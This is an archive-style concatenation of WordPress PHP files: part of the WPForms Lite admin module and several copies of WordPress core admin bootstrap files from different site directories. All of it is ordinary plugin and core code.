		'save_refresh'                    => esc_html__( 'Save and Refresh', 'wpforms-lite' ),
		'settings_form_style_base'        => sprintf(
			wp_kses(
				/* translators: %s - WPForms.com docs page URL. */
				__( 'You\'ve selected <strong>Base Styling Only</strong>, which may result in styling issues. <a href="%s" target="_blank" rel="noopener noreferrer">Please check out our tutorial</a> for common issues and recommendations.', 'wpforms-lite' ),
				array(
					'strong' => array(),
					'a'      => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/docs/how-to-choose-an-include-form-styling-setting/'
		),
		'settings_form_style_none'        => sprintf(
			wp_kses(
				/* translators: %s - WPForms.com docs page URL. */
				__( 'You\'ve selected <strong>No Styling</strong>, which will likely result in significant styling issues and is recommended only for developers. <a href="%s" target="_blank" rel="noopener noreferrer">Please check out our tutorial</a> for more details and recommendations.', 'wpforms-lite' ),
				array(
					'strong' => array(),
					'a'      => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/docs/how-to-choose-an-include-form-styling-setting/'
		),
		'testing'                         => esc_html__( 'Testing', 'wpforms-lite' ),
		'upgrade_completed'               => esc_html__( 'Upgrade was successfully completed!', 'wpforms-lite' ),
		'upload_image_title'              => esc_html__( 'Upload or Choose Your Image', 'wpforms-lite' ),
		'upload_image_button'             => esc_html__( 'Use Image', 'wpforms-lite' ),
		'upgrade_modal'                   => wpforms_get_upgrade_modal_text(),
		'choicesjs_fields_select'         => esc_html__( 'Select fields', 'wpforms-lite' ),
		'choicesjs_loading'               => esc_html__( 'Loading...', 'wpforms-lite' ),
		'choicesjs_no_results'            => esc_html__( 'No results found', 'wpforms-lite' ),
		'choicesjs_no_choices'            => esc_html__( 'No choices to choose from', 'wpforms-lite' ),
		'choicesjs_item_select'           => esc_html__( 'Press to select', 'wpforms-lite' ),
	);
	$strings = apply_filters( 'wpforms_admin_strings', $strings );

	wp_localize_script(
		'wpforms-admin',
		'wpforms_admin',
		$strings
	);
}

add_action( 'admin_enqueue_scripts', 'wpforms_admin_scripts' );

/**
 * Add body class to WPForms admin pages for easy reference.
 *
 * @since 1.3.9
 *
 * @param string $classes CSS classes, space separated.
 *
 * @return string
 */
function wpforms_admin_body_class( $classes ) {

	if ( ! wpforms_is_admin_page() ) {
		return $classes;
	}

	return "$classes wpforms-admin-page";
}

add_filter( 'admin_body_class', 'wpforms_admin_body_class', 10, 1 );

/**
 * Outputs the WPForms admin header.
 *
 * @since 1.3.9
 */
function wpforms_admin_header() {

	// Bail if we're not on a WPForms screen or page (also exclude form builder).
	if ( ! wpforms_is_admin_page() ) {
		return;
	}

	// Omit header from Welcome activation screen.
	if ( 'wpforms-getting-started' === $_REQUEST['page'] ) {
		return;
	}
	?>
	<div id="wpforms-header-temp"></div>
	<div id="wpforms-header" class="wpforms-header">
		<img class="wpforms-header-logo" src="<?php echo WPFORMS_PLUGIN_URL; ?>assets/images/logo.png" alt="WPForms Logo"/>
	</div>
	<?php
}

add_action( 'in_admin_header', 'wpforms_admin_header', 100 );

/**
 * Remove non-WPForms notices from WPForms pages.
 *
 * @since 1.3.9
 */
function wpforms_admin_hide_unrelated_notices() {

	// Bail if we're not on a WPForms screen or page.
	if ( empty( $_REQUEST['page'] ) || strpos( $_REQUEST['page'], 'wpforms' ) === false ) {
		return;
	}

	global $wp_filter;

	if ( ! empty( $wp_filter['user_admin_notices']->callbacks ) && is_array( $wp_filter['user_admin_notices']->callbacks ) ) {
		foreach ( $wp_filter['user_admin_notices']->callbacks as $priority => $hooks ) {
			foreach ( $hooks as $name => $arr ) {
				if ( is_object( $arr['function'] ) && $arr['function'] instanceof Closure ) {
					unset( $wp_filter['user_admin_notices']->callbacks[ $priority ][ $name ] );
					continue;
				}
				if ( ! empty( $arr['function'][0] ) && is_object( $arr['function'][0] ) && strpos( strtolower( get_class( $arr['function'][0] ) ), 'wpforms' ) !== false ) {
					continue;
				}
				if ( ! empty( $name ) && strpos( $name, 'wpforms' ) === false ) {
					unset( $wp_filter['user_admin_notices']->callbacks[ $priority ][ $name ] );
				}
			}
		}
	}

	if ( ! empty( $wp_filter['admin_notices']->callbacks ) && is_array( $wp_filter['admin_notices']->callbacks ) ) {
		foreach ( $wp_filter['admin_notices']->callbacks as $priority => $hooks ) {
			foreach ( $hooks as $name => $arr ) {
				if ( is_object( $arr['function'] ) && $arr['function'] instanceof Closure ) {
					unset( $wp_filter['admin_notices']->callbacks[ $priority ][ $name ] );
					continue;
				}
				if ( ! empty( $arr['function'][0] ) && is_object( $arr['function'][0] ) && strpos( strtolower( get_class( $arr['function'][0] ) ), 'wpforms' ) !== false ) {
					continue;
				}
				if ( ! empty( $name ) && strpos( $name, 'wpforms' ) === false ) {
					unset( $wp_filter['admin_notices']->callbacks[ $priority ][ $name ] );
				}
			}
		}
	}

	if ( ! empty( $wp_filter['all_admin_notices']->callbacks ) && is_array( $wp_filter['all_admin_notices']->callbacks ) ) {
		foreach ( $wp_filter['all_admin_notices']->callbacks as $priority => $hooks ) {
			foreach ( $hooks as $name => $arr ) {
				if ( is_object( $arr['function'] ) && $arr['function'] instanceof Closure ) {
					unset( $wp_filter['all_admin_notices']->callbacks[ $priority ][ $name ] );
					continue;
				}
				if ( ! empty( $arr['function'][0] ) && is_object( $arr['function'][0] ) && strpos( strtolower( get_class( $arr['function'][0] ) ), 'wpforms' ) !== false ) {
					continue;
				}
				if ( ! empty( $name ) && strpos( $name, 'wpforms' ) === false ) {
					unset( $wp_filter['all_admin_notices']->callbacks[ $priority ][ $name ] );
				}
			}
		}
	}
}

add_action( 'admin_print_scripts', 'wpforms_admin_hide_unrelated_notices' );

/**
 * Upgrade link used within the various admin pages.
 *
 * Previously was only included as a method in wpforms-lite.php, but made
 * available globally in 1.3.9.
 *
 * @since 1.3.9
 *
 * @param string $medium utm_medium URL parameter.
 *
 * @return string.
 */
function wpforms_admin_upgrade_link( $medium = 'link' ) {
	return apply_filters( 'wpforms_upgrade_link', 'https://wpforms.com/lite-upgrade/?discount=LITEUPGRADE&amp;utm_source=WordPress&amp;utm_medium=' . sanitize_key( apply_filters( 'wpforms_upgrade_link_medium', $medium ) ) . '&amp;utm_campaign=liteplugin' );
}

/**
 * Check the current PHP version and display a notice if on unsupported PHP.
 *
 * @since 1.4.0.1
 * @since 1.5.0 Raising this awareness of old PHP version message from 5.2 to 5.3.
 */
function wpforms_check_php_version() {

	// Display for PHP below 5.4.
	if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) {
		return;
	}

	// Display for admins only.
	if ( ! is_super_admin() ) {
		return;
	}

	// Display on Dashboard page only.
	if ( isset( $GLOBALS['pagenow'] ) && 'index.php' !== $GLOBALS['pagenow'] ) {
		return;
	}

	// Display the notice, finally.
	WPForms_Admin_Notice::error(
		'<p>' .
		sprintf(
			wp_kses(
				/* translators: %1$s - WPForms plugin name; %2$s - WPForms.com URL to a related doc. */
				__( 'Your site is running an outdated version of PHP that is no longer supported and may cause issues with %1$s. <a href="%2$s" target="_blank" rel="noopener noreferrer">Read more</a> for additional information.', 'wpforms-lite' ),
				array(
					'a' => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'<strong>WPForms</strong>',
			'https://wpforms.com/docs/supported-php-version/'
		) .
		'<br><br><em>' .
		wp_kses(
			__( '<strong>Please Note:</strong> Support for PHP 5.3 will be discontinued in 2019. After this, if no further action is taken, WPForms functionality will be disabled.', 'wpforms-lite' ),
			array(
				'strong' => array(),
				'em'     => array(),
			)
		) .
		'</em></p>'
	);
}
add_action( 'admin_init', 'wpforms_check_php_version' );

/**
 * Get an upgrade modal text.
 *
 * @since 1.4.4
 *
 * @return string
 */
function wpforms_get_upgrade_modal_text() {

	return
		'<p>' .
		esc_html__( 'Thanks for your interest in WPForms Pro!', 'wpforms-lite' ) . '<br>' .
		sprintf(
			wp_kses(
				/* translators: %s - WPForms.com contact page URL. */
				__( 'If you have any questions or issues just <a href="%s" target="_blank" rel="noopener noreferrer">let us know</a>.', 'wpforms-lite' ),
				array(
					'a' => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/contact/'
		) .
		'</p>' .
		'<p>' .
		wp_kses(
			__( 'After purchasing WPForms Pro, you\'ll need to <strong>download and install the Pro version of the plugin</strong>, and then <strong>remove the free plugin</strong>.', 'wpforms-lite' ),
			array(
				'strong' => array(),
			)
		) . '<br>' .
		esc_html__( '(Don\'t worry, all your forms and settings will be preserved.)', 'wpforms-lite' ) .
		'</p>' .
		'<p>' .
		sprintf(
			wp_kses(
				/* translators: %s - WPForms.com upgrade from Lite to paid docs page URL. */
				__( 'Check out <a href="%s" target="_blank" rel="noopener noreferrer">our documentation</a> for step-by-step instructions.', 'wpforms-lite' ),
				array(
					'a' => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/docs/upgrade-wpforms-lite-paid-license/?utm_source=WordPress&amp;utm_medium=link&amp;utm_campaign=liteplugin'
		) .
		'</p>';
}
home/xbodynamge/lebauwcentre/wp-admin/network/admin.php000060400000002011151147566610017321 0ustar00<?php
/**
 * WordPress Network Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

define( 'WP_NETWORK_ADMIN', true );

/** Load WordPress Administration Bootstrap */
require_once( dirname( dirname( __FILE__ ) ) . '/admin.php' );

// Do not remove this check. It is required by individual network admin pages.
if ( ! is_multisite() ) {
	wp_die( __( 'Multisite support is not enabled.' ) );
}

$redirect_network_admin_request = 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path );

/**
 * Filters whether to redirect the request to the Network Admin.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_network_admin_request Whether the request should be redirected.
 */
$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );
if ( $redirect_network_admin_request ) {
	wp_redirect( network_admin_url() );
	exit;
}
unset( $redirect_network_admin_request );
home/xbodynamge/dev/wp-admin/user/admin.php000060400000001512151150165050014674 0ustar00<?php
/**
 * WordPress User Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

define('WP_USER_ADMIN', true);

require_once( dirname(dirname(__FILE__)) . '/admin.php');

if ( ! is_multisite() ) {
	wp_redirect( admin_url() );
	exit;
}

$redirect_user_admin_request = ( ( $current_blog->domain != $current_site->domain ) || ( $current_blog->path != $current_site->path ) );
/**
 * Filters whether to redirect the request to the User Admin in Multisite.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_user_admin_request Whether the request should be redirected.
 */
$redirect_user_admin_request = apply_filters( 'redirect_user_admin_request', $redirect_user_admin_request );
if ( $redirect_user_admin_request ) {
	wp_redirect( user_admin_url() );
	exit;
}
unset( $redirect_user_admin_request );
home/xbodynamge/www/wp-admin/includes/admin.php000060400000005604151150517030015577 0ustar00<?php
/**
 * Core Administration API
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.3.0
 */

if ( ! defined('WP_ADMIN') ) {
	/*
	 * This file is being included from a file other than wp-admin/admin.php, so
	 * some setup was skipped. Make sure the admin message catalog is loaded since
	 * load_default_textdomain() will not have done so in this context.
	 */
	load_textdomain( 'default', WP_LANG_DIR . '/admin-' . get_locale() . '.mo' );
}

/** WordPress Administration Hooks */
require_once(ABSPATH . 'wp-admin/includes/admin-filters.php');

/** WordPress Bookmark Administration API */
require_once(ABSPATH . 'wp-admin/includes/bookmark.php');

/** WordPress Comment Administration API */
require_once(ABSPATH . 'wp-admin/includes/comment.php');

/** WordPress Administration File API */
require_once(ABSPATH . 'wp-admin/includes/file.php');

/** WordPress Image Administration API */
require_once(ABSPATH . 'wp-admin/includes/image.php');

/** WordPress Media Administration API */
require_once(ABSPATH . 'wp-admin/includes/media.php');

/** WordPress Import Administration API */
require_once(ABSPATH . 'wp-admin/includes/import.php');

/** WordPress Misc Administration API */
require_once(ABSPATH . 'wp-admin/includes/misc.php');

/** WordPress Options Administration API */
require_once(ABSPATH . 'wp-admin/includes/options.php');

/** WordPress Plugin Administration API */
require_once(ABSPATH . 'wp-admin/includes/plugin.php');

/** WordPress Post Administration API */
require_once(ABSPATH . 'wp-admin/includes/post.php');

/** WordPress Administration Screen API */
require_once(ABSPATH . 'wp-admin/includes/class-wp-screen.php');
require_once(ABSPATH . 'wp-admin/includes/screen.php');

/** WordPress Taxonomy Administration API */
require_once(ABSPATH . 'wp-admin/includes/taxonomy.php');

/** WordPress Template Administration API */
require_once(ABSPATH . 'wp-admin/includes/template.php');

/** WordPress List Table Administration API and base class */
require_once(ABSPATH . 'wp-admin/includes/class-wp-list-table.php');
require_once(ABSPATH . 'wp-admin/includes/class-wp-list-table-compat.php');
require_once(ABSPATH . 'wp-admin/includes/list-table.php');

/** WordPress Theme Administration API */
require_once(ABSPATH . 'wp-admin/includes/theme.php');

/** WordPress User Administration API */
require_once(ABSPATH . 'wp-admin/includes/user.php');

/** WordPress Site Icon API */
require_once(ABSPATH . 'wp-admin/includes/class-wp-site-icon.php');

/** WordPress Update Administration API */
require_once(ABSPATH . 'wp-admin/includes/update.php');

/** WordPress Deprecated Administration API */
require_once(ABSPATH . 'wp-admin/includes/deprecated.php');

/** WordPress Multisite support API */
if ( is_multisite() ) {
	require_once(ABSPATH . 'wp-admin/includes/ms-admin-filters.php');
	require_once(ABSPATH . 'wp-admin/includes/ms.php');
	require_once(ABSPATH . 'wp-admin/includes/ms-deprecated.php');
}
home/xbodynamge/crosstraining/wp-admin/user/admin.php000060400000001512151151714140017004 0ustar00<?php
/**
 * WordPress User Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

define('WP_USER_ADMIN', true);

require_once( dirname(dirname(__FILE__)) . '/admin.php');

if ( ! is_multisite() ) {
	wp_redirect( admin_url() );
	exit;
}

$redirect_user_admin_request = ( ( $current_blog->domain != $current_site->domain ) || ( $current_blog->path != $current_site->path ) );
/**
 * Filters whether to redirect the request to the User Admin in Multisite.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_user_admin_request Whether the request should be redirected.
 */
$redirect_user_admin_request = apply_filters( 'redirect_user_admin_request', $redirect_user_admin_request );
if ( $redirect_user_admin_request ) {
	wp_redirect( user_admin_url() );
	exit;
}
unset( $redirect_user_admin_request );
home/xbodynamge/www/wp-admin/network/admin.php000060400000002011151152073410015450 0ustar00<?php
/**
 * WordPress Network Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

define( 'WP_NETWORK_ADMIN', true );

/** Load WordPress Administration Bootstrap */
require_once( dirname( dirname( __FILE__ ) ) . '/admin.php' );

// Do not remove this check. It is required by individual network admin pages.
if ( ! is_multisite() ) {
	wp_die( __( 'Multisite support is not enabled.' ) );
}

$redirect_network_admin_request = 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path );

/**
 * Filters whether to redirect the request to the Network Admin.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_network_admin_request Whether the request should be redirected.
 */
$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );
if ( $redirect_network_admin_request ) {
	wp_redirect( network_admin_url() );
	exit;
}
unset( $redirect_network_admin_request );
home/xbodynamge/lebauwcentre/wp-admin/admin.php000060400000026233151153452220015630 0ustar00<?php
/**
 * WordPress Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * In WordPress Administration Screens
 *
 * @since 2.3.2
 */
if ( ! defined( 'WP_ADMIN' ) ) {
	define( 'WP_ADMIN', true );
}

if ( ! defined( 'WP_NETWORK_ADMIN' ) ) {
	define( 'WP_NETWORK_ADMIN', false );
}

if ( ! defined( 'WP_USER_ADMIN' ) ) {
	define( 'WP_USER_ADMIN', false );
}

if ( ! WP_NETWORK_ADMIN && ! WP_USER_ADMIN ) {
	define( 'WP_BLOG_ADMIN', true );
}

if ( isset( $_GET['import'] ) && ! defined( 'WP_LOAD_IMPORTERS' ) ) {
	define( 'WP_LOAD_IMPORTERS', true );
}

require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );

nocache_headers();

if ( get_option( 'db_upgraded' ) ) {
	flush_rewrite_rules();
	update_option( 'db_upgraded', false );

	/**
	 * Fires on the next page load after a successful DB upgrade.
	 *
	 * @since 2.8.0
	 */
	do_action( 'after_db_upgrade' );
} elseif ( get_option( 'db_version' ) != $wp_db_version && empty( $_POST ) ) {
	if ( ! is_multisite() ) {
		wp_redirect( admin_url( 'upgrade.php?_wp_http_referer=' . urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) );
		exit;

		/**
		 * Filters whether to attempt to perform the multisite DB upgrade routine.
		 *
		 * In single site, the user would be redirected to wp-admin/upgrade.php.
		 * In multisite, the DB upgrade routine is automatically fired, but only
		 * when this filter returns true.
		 *
		 * If the network is 50 sites or less, it will run every time. Otherwise,
		 * it will throttle itself to reduce load.
		 *
		 * @since 3.0.0
		 *
		 * @param bool $do_mu_upgrade Whether to perform the Multisite upgrade routine. Default true.
		 */
	} elseif ( apply_filters( 'do_mu_upgrade', true ) ) {
		$c = get_blog_count();

		/*
		 * If there are 50 or fewer sites, run every time. Otherwise, throttle to reduce load:
		 * attempt to do no more than threshold value, with some +/- allowed.
		 */
		if ( $c <= 50 || ( $c > 50 && mt_rand( 0, (int) ( $c / 50 ) ) == 1 ) ) {
			require_once( ABSPATH . WPINC . '/http.php' );
			$response = wp_remote_get(
				admin_url( 'upgrade.php?step=1' ),
				array(
					'timeout'     => 120,
					'httpversion' => '1.1',
				)
			);
			/** This action is documented in wp-admin/network/upgrade.php */
			do_action( 'after_mu_upgrade', $response );
			unset( $response );
		}
		unset( $c );
	}
}

require_once( ABSPATH . 'wp-admin/includes/admin.php' );

auth_redirect();

// Schedule trash collection
if ( ! wp_next_scheduled( 'wp_scheduled_delete' ) && ! wp_installing() ) {
	wp_schedule_event( time(), 'daily', 'wp_scheduled_delete' );
}

// Schedule Transient cleanup.
if ( ! wp_next_scheduled( 'delete_expired_transients' ) && ! wp_installing() ) {
	wp_schedule_event( time(), 'daily', 'delete_expired_transients' );
}

set_screen_options();

$date_format = __( 'F j, Y' );
$time_format = __( 'g:i a' );

wp_enqueue_script( 'common' );

/**
 * $pagenow is set in vars.php
 * $wp_importers is sometimes set in wp-admin/includes/import.php
 * The remaining variables are imported as globals elsewhere, declared as globals here
 *
 * @global string $pagenow
 * @global array  $wp_importers
 * @global string $hook_suffix
 * @global string $plugin_page
 * @global string $typenow
 * @global string $taxnow
 */
global $pagenow, $wp_importers, $hook_suffix, $plugin_page, $typenow, $taxnow;

$page_hook = null;

$editing = false;

if ( isset( $_GET['page'] ) ) {
	$plugin_page = wp_unslash( $_GET['page'] );
	$plugin_page = plugin_basename( $plugin_page );
}

if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) ) {
	$typenow = $_REQUEST['post_type'];
} else {
	$typenow = '';
}

if ( isset( $_REQUEST['taxonomy'] ) && taxonomy_exists( $_REQUEST['taxonomy'] ) ) {
	$taxnow = $_REQUEST['taxonomy'];
} else {
	$taxnow = '';
}

if ( WP_NETWORK_ADMIN ) {
	require( ABSPATH . 'wp-admin/network/menu.php' );
} elseif ( WP_USER_ADMIN ) {
	require( ABSPATH . 'wp-admin/user/menu.php' );
} else {
	require( ABSPATH . 'wp-admin/menu.php' );
}

if ( current_user_can( 'manage_options' ) ) {
	wp_raise_memory_limit( 'admin' );
}

/**
 * Fires as an admin screen or script is being initialized.
 *
 * Note, this does not just run on user-facing admin screens.
 * It runs on admin-ajax.php and admin-post.php as well.
 *
 * This is roughly analogous to the more general {@see 'init'} hook, which fires earlier.
 *
 * @since 2.5.0
 */
do_action( 'admin_init' );

if ( isset( $plugin_page ) ) {
	if ( ! empty( $typenow ) ) {
		$the_parent = $pagenow . '?post_type=' . $typenow;
	} else {
		$the_parent = $pagenow;
	}

	$page_hook = get_plugin_page_hook( $plugin_page, $the_parent );
	if ( ! $page_hook ) {
		$page_hook = get_plugin_page_hook( $plugin_page, $plugin_page );

		// Back-compat for plugins using add_management_page().
		if ( empty( $page_hook ) && 'edit.php' == $pagenow && '' != get_plugin_page_hook( $plugin_page, 'tools.php' ) ) {
			// There could be plugin specific params on the URL, so we need the whole query string
			if ( ! empty( $_SERVER['QUERY_STRING'] ) ) {
				$query_string = $_SERVER['QUERY_STRING'];
			} else {
				$query_string = 'page=' . $plugin_page;
			}
			wp_redirect( admin_url( 'tools.php?' . $query_string ) );
			exit;
		}
	}
	unset( $the_parent );
}

$hook_suffix = '';
if ( isset( $page_hook ) ) {
	$hook_suffix = $page_hook;
} elseif ( isset( $plugin_page ) ) {
	$hook_suffix = $plugin_page;
} elseif ( isset( $pagenow ) ) {
	$hook_suffix = $pagenow;
}

set_current_screen();

// Handle plugin admin pages.
if ( isset( $plugin_page ) ) {
	if ( $page_hook ) {
		/**
		 * Fires before a particular screen is loaded.
		 *
		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
		 * where a callback is provided when the screen is registered.
		 *
		 * The dynamic portion of the hook name, `$page_hook`, refers to a mixture of plugin
		 * page information including:
		 * 1. The page type. If the plugin page is registered as a submenu page, such as for
		 *    Settings, the page type would be 'settings'. Otherwise the type is 'toplevel'.
		 * 2. A separator of '_page_'.
		 * 3. The plugin basename minus the file extension.
		 *
		 * Together, the three parts form the `$page_hook`. Citing the example above,
		 * the hook name used would be 'load-settings_page_pluginbasename'.
		 *
		 * @see get_plugin_page_hook()
		 *
		 * @since 2.1.0
		 */
		do_action( "load-{$page_hook}" );
		if ( ! isset( $_GET['noheader'] ) ) {
			require_once( ABSPATH . 'wp-admin/admin-header.php' );
		}

		/**
		 * Used to call the registered callback for a plugin screen.
		 *
		 * This hook uses a dynamic hook name, `$page_hook`, which refers to a mixture of plugin
		 * page information including:
		 * 1. The page type. If the plugin page is registered as a submenu page, such as for
		 *    Settings, the page type would be 'settings'. Otherwise the type is 'toplevel'.
		 * 2. A separator of '_page_'.
		 * 3. The plugin basename minus the file extension.
		 *
		 * Together, the three parts form the `$page_hook`. Citing the example above,
		 * the hook name used would be 'settings_page_pluginbasename'.
		 *
		 * @see get_plugin_page_hook()
		 *
		 * @since 1.5.0
		 */
		do_action( $page_hook );
	} else {
		if ( validate_file( $plugin_page ) ) {
			wp_die( __( 'Invalid plugin page.' ) );
		}

		if ( ! ( file_exists( WP_PLUGIN_DIR . "/$plugin_page" ) && is_file( WP_PLUGIN_DIR . "/$plugin_page" ) ) && ! ( file_exists( WPMU_PLUGIN_DIR . "/$plugin_page" ) && is_file( WPMU_PLUGIN_DIR . "/$plugin_page" ) ) ) {
			wp_die( sprintf( __( 'Cannot load %s.' ), htmlentities( $plugin_page ) ) );
		}

		/**
		 * Fires before a particular screen is loaded.
		 *
		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
		 * where the file to load is directly included, rather than the use of a function.
		 *
		 * The dynamic portion of the hook name, `$plugin_page`, refers to the plugin basename.
		 *
		 * @see plugin_basename()
		 *
		 * @since 1.5.0
		 */
		do_action( "load-{$plugin_page}" );

		if ( ! isset( $_GET['noheader'] ) ) {
			require_once( ABSPATH . 'wp-admin/admin-header.php' );
		}

		if ( file_exists( WPMU_PLUGIN_DIR . "/$plugin_page" ) ) {
			include( WPMU_PLUGIN_DIR . "/$plugin_page" );
		} else {
			include( WP_PLUGIN_DIR . "/$plugin_page" );
		}
	}

	include( ABSPATH . 'wp-admin/admin-footer.php' );

	exit();
} elseif ( isset( $_GET['import'] ) ) {

	$importer = $_GET['import'];

	if ( ! current_user_can( 'import' ) ) {
		wp_die( __( 'Sorry, you are not allowed to import content.' ) );
	}

	if ( validate_file( $importer ) ) {
		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
		exit;
	}

	if ( ! isset( $wp_importers[ $importer ] ) || ! is_callable( $wp_importers[ $importer ][2] ) ) {
		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
		exit;
	}

	/**
	 * Fires before an importer screen is loaded.
	 *
	 * The dynamic portion of the hook name, `$importer`, refers to the importer slug.
	 *
	 * @since 3.5.0
	 */
	do_action( "load-importer-{$importer}" );

	$parent_file  = 'tools.php';
	$submenu_file = 'import.php';
	$title        = __( 'Import' );

	if ( ! isset( $_GET['noheader'] ) ) {
		require_once( ABSPATH . 'wp-admin/admin-header.php' );
	}

	require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );

	define( 'WP_IMPORTING', true );

	/**
	 * Whether to filter imported data through kses on import.
	 *
	 * Multisite uses this hook to filter all data through kses by default,
	 * as a super administrator may be assisting an untrusted user.
	 *
	 * @since 3.1.0
	 *
	 * @param bool $force Whether to force data to be filtered through kses. Default false.
	 */
	if ( apply_filters( 'force_filtered_html_on_import', false ) ) {
		kses_init_filters();  // Always filter imported data with kses on multisite.
	}

	call_user_func( $wp_importers[ $importer ][2] );

	include( ABSPATH . 'wp-admin/admin-footer.php' );

	// Make sure rules are flushed
	flush_rewrite_rules( false );

	exit();
} else {
	/**
	 * Fires before a particular screen is loaded.
	 *
	 * The load-* hook fires in a number of contexts. This hook is for core screens.
	 *
	 * The dynamic portion of the hook name, `$pagenow`, is a global variable
	 * referring to the filename of the current page, such as 'admin.php',
	 * 'post-new.php' etc. A complete hook for the latter would be
	 * 'load-post-new.php'.
	 *
	 * @since 2.1.0
	 */
	do_action( "load-{$pagenow}" );

	/*
	 * The following hooks are fired to ensure backward compatibility.
	 * In all other cases, 'load-' . $pagenow should be used instead.
	 */
	if ( $typenow == 'page' ) {
		if ( $pagenow == 'post-new.php' ) {
			do_action( 'load-page-new.php' );
		} elseif ( $pagenow == 'post.php' ) {
			do_action( 'load-page.php' );
		}
	} elseif ( $pagenow == 'edit-tags.php' ) {
		if ( $taxnow == 'category' ) {
			do_action( 'load-categories.php' );
		} elseif ( $taxnow == 'link_category' ) {
			do_action( 'load-edit-link-categories.php' );
		}
	} elseif ( 'term.php' === $pagenow ) {
		do_action( 'load-edit-tags.php' );
	}
}

if ( ! empty( $_REQUEST['action'] ) ) {
	$action = $_REQUEST['action'];

	/**
	 * Fires when an 'action' request variable is sent.
	 *
	 * The dynamic portion of the hook name, `$action`, refers to
	 * the action derived from the `GET` or `POST` request.
	 *
	 * @since 2.6.0
	 */
	do_action( "admin_action_{$action}" );
}